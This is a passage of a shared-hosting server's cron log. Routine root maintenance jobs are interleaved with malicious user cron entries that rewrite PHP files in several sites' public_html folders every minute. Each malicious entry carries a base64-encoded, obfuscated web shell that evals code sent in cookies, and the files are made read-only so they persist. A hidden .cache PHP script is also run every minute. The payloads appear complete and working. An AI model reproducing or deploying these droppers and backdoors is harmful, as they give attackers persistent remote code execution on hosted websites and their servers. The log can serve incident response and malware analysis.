"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:50:01 medusa CROND[11396]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 06:50:01 medusa CROND[11397]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:50:01 medusa CROND[11398]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 06:50:01 medusa CROND[11400]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:50:01 medusa CROND[11392]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 06:50:01 medusa CROND[11401]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 06:50:01 medusa CROND[11403]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:50:01 medusa CROND[11405]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 06:50:01 medusa CROND[11404]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 06:50:01 medusa CROND[11408]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:50:01 medusa CROND[11406]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 06:50:01 medusa CROND[11417]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 06:50:01 medusa CROND[11409]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 06:50:01 medusa CROND[11428]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 06:50:01 medusa CROND[11433]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:50:01 medusa CROND[11436]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 06:50:01 medusa CROND[11429]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 06:50:01 medusa CROND[11442]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:50:01 medusa CROND[11441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:51:02 medusa CROND[16646]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:51:02 medusa CROND[16702]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 06:51:02 medusa CROND[16704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:51:02 medusa CROND[16808]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:51:02 medusa CROND[16809]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:51:02 medusa CROND[16811]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 06:51:02 medusa CROND[16812]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 06:51:02 medusa CROND[16813]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:51:02 medusa CROND[16814]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:51:02 medusa CROND[16807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:51:02 medusa CROND[16821]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 06:51:02 medusa CROND[16823]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:51:02 medusa CROND[16826]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:51:02 medusa CROND[16829]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:51:02 medusa CROND[16830]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:52:02 medusa CROND[19325]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:52:02 medusa CROND[19326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:52:02 medusa CROND[19335]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:52:02 medusa CROND[19336]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:52:02 medusa CROND[19338]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:52:02 medusa CROND[19339]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAn